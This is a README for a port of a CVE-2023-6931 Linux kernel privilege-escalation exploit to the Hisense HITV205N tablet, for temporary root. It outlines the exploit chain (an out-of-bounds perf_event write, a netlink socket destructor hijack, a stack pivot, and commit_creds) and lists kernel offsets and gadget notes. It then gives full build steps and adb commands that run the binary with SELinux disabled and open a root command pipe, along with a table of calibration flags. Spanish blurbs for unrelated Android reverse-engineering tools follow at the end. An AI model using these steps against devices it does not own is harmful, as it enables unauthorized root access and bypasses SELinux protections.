
CVE-2023-6931 temporary-root port for Hisense HITV205N (TOUCH Lite), kernel 4.19.157-perf
A CVE-2023-6931 privilege escalation port for the Hisense HITV205N / TOUCH Lite (Qualcomm SM4250 / SD460, kernel 4.19.157-perf), intended for security research on your own device.
Upstream:
Yutori-Natsu/cve-2023-6931-pipa(Xiaomi Pad 6) Principle: the temporary root approach described infynks/awesome-temporary-root
CVE-2023-6931 is an out-of-bounds write primitive caused by incomplete validation of group read_size in perf_event_open().
The exploit chain (following pipa's approach):
1) perf group read_size 溢出 -> 越界 u64 自增原语
2) 自增 victim netlink_sock->sk_destruct -> netlink_sock_destruct_work
3) close(victim) -> sk_free -> __sk_destruct -> container_of(work, netlink_sock, 0x440)
-> fake sock -> fake->sk_destruct = pivot (mov sp,x19)
4) 栈迁移到 fake 内的 skb 载荷
5) entry trampoline -> eret EL1h -> commit_creds(&init_cred)
6) eret EL0 -> post_root
Effect: uid=0 + SELinux permissive within the current boot, invalidated on reboot.
No partitions are modified, the bootloader remains locked, and the boot image remains unchanged.
| Item | Value |
|---|---|
| Model | Hisense HITV205N (TOUCH Lite) |
| SoC | Qualcomm SM4250 / SD460 (bengal / kamorta) |
| Kernel | Linux version 4.19.157-perf (clang 10.0.7, SMP PREEMPT, 2023-07-12) |
| System | Android 11 / RKQ1.210107.001 / L1834.6.01.02 / patch 2021-07-05 |
| VA_BITS | 39, 4K pages, text_offset 0x80000 |
| KASLR | On (RANDOMIZE_BASE=y) |
| KPTI | Off (UNMAP_KERNEL_AT_EL0 not set) |
| SW PAN | On (ARM64_SW_TTBR0_PAN=y) |
perf_event_paranoid | -1 |
perf_event_mlock_kb | 516 |
| Check | Result |
|---|---|
| CVE-2023-6931 fix | Not backported (4.19.157 ≪ fixed version 4.19.301) |
CONFIG_USER_NS | Not enabled → most other privilege-escalation chains are unavailable, but this chain does not depend on it |
perf_event_paranoid=-1 | Unprivileged processes can open perf events |
perf_event_validate_size symbol | Does not exist → the unfixed legacy code path is used |
.
├── exploit.c 上游 exploit,偏移块改为 #include "device_config.h"
├── device_config.h 设备选择(-DDEVICE=<name>,默认 hitv205n)
├── devices/
│ └── hitv205n.h 本机内核符号/gadget/结构体偏移
├── text_syms.h .text 符号表(50,499 项,自动生成)
├── ro_syms.h .rodata 符号表(31,402 项,自动生成)
├── tools/gen_syms.py 从 vmlinux ELF 重新生成上面两个头文件
├── build.sh 构建脚本(交叉 gcc 或 Android NDK)
└── .github/workflows/build.yml CI:推 tag 自动构建并发布
Pushing a v* tag automatically builds and attaches exploit-hitv205n + .sha256 to the Release.
git tag v0.1.0 && git push origin v0.1.0
You can also manually workflow_dispatch on the Actions page, specifying device.
sudo apt install gcc-aarch64-linux-gnu # 或设置 ANDROID_NDK_HOME
./build.sh exploit-hitv205n
adb push exploit-hitv205n /data/local/tmp/
adb shell chmod 755 /data/local/tmp/exploit-hitv205n
# 必须从 adb shell(shell 域)启动 —— perf_event 与 netlink 在 app 域不可达
adb shell 'cd /data/local/tmp && setsid nohup ./exploit-hitv205n \
--selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
> /data/local/tmp/run.out 2>&1 < /dev/null &'
# 成功后 root 命令通道是 FIFO
adb shell 'echo "id" > /data/local/tmp/root_in'
adb shell 'cat /data/local/tmp/root_out'
Only one attempt per boot — 8446 sibling events will exhaust
perf_event_mlock_kb = 516. To retry, you must first reboot the device (or kill -9 the old instance and confirm
the perf event has been released).
The kernel symbol table is not copied from anywhere; it is taken live from the boot_a.bin backed up via EDL from this device:
# 1. 从 boot.img 取出 kernel 并解压(gzip)
# 2. vmlinux-to-elf 重建符号表(本机 107,395 个符号)
vmlinux-to-elf kernel.raw vmlinux.elf
# 3. 生成 exploit 用的符号表
python tools/gen_syms.py vmlinux.elf .
| Item | Local machine | pipa target | Conclusion |
|---|---|---|---|
_text | 0xffffff8008080000 | 0xffffff8008080000 | Match |
netlink_sock_destruct → _work spacing | 0x28e8 | 0x28e8 | Match |
struct sock.sk_destruct | 704 | 704 | Match (confirmed by __sk_destruct disassembly) |
struct sock.sk_rcu | 720 | 720 | Match (sub x19,x0,#0x2d0) |
nlk->groups | 824 (0x338) | 824 | Match (netlink_sock_destruct disassembly) |
mov sp,x19 pivot | 0x4734 → ret_to_user | 0x840e0 → 0x843a8 | Same structure, different offsets |
perf_event_mlock_kb | 516 | 516 | Match |
Completed:
[A] in devices/hitv205n.h)struct sock / netlink_sock via disassemblyNot yet verified on real hardware (items marked [B] / [D]):
SK_WMEM_ALLOC_OFF, SK_REUSEPORT_CB_OFF, NLK_PORTID_OFF — configuration-related, require --probe to re-checkTRAMP_NOKPTI branch is taken)P_OFF_DEFAULT=44)Do not run the prebuilt binary directly — incorrect offsets will cause an oops. For the first run, it is recommended to use --probe.
exploit.c retains all upstream debug switches; porting calibration mainly relies on these:
| Parameter | Purpose |
|---|---|
--probe-only | Run only up to the probing stage and exit without triggering — use this first when testing on the device |
--dry | Dry run, to verify whether address resolution and the KASLR slide are correct |
--kbase-override / --kshift | Manually specify the kernel base address / slide, used to rule out problems in the leak stage |
--diag / --diag-geo / --diag-match | Print heap layout and matching status |
--skbprobe / --posprobe | Calibrate the offset of the skb payload within the slot (P_OFF_DEFAULT) |
--calib-zero / --no-calib | Calibration switches |
--test-tramp | Test the entry trampoline separately (corresponds to OFF_TRAMP_RESTORE/OFF_TRAMP_NOKPTI on the local machine) |
--test-ret / --test-cred-ret / --test-exit | Test each hop of the ROP chain in stages |
--sib-count | Adjust the number of sibling events (limited by perf_event_mlock_kb=516) |
Recommended order: --dry → --probe-only → --test-tramp → full --selinux-off.
CONFIG_PANIC_ON_OOPS is not enabled, so the kernel usually survives).exploit.c is derived from Yutori-Natsu/cve-2023-6931-pipa; this port is likewise intended for research use only.

Marco de pruebas de seguridad automatizado para aplicaciones móviles en Android, iOS y Windows. Realiza análisis estático y dinámico, detección de malware y pruebas de seguridad de API con integración CI/CD.

Herramienta de línea de comandos y GUI para descompilar archivos Android Dex y APK en código fuente Java legible, con capacidades de decodificación de recursos, desofuscación y depuración de Smali.

Una herramienta para la ingeniería inversa de archivos apk de Android.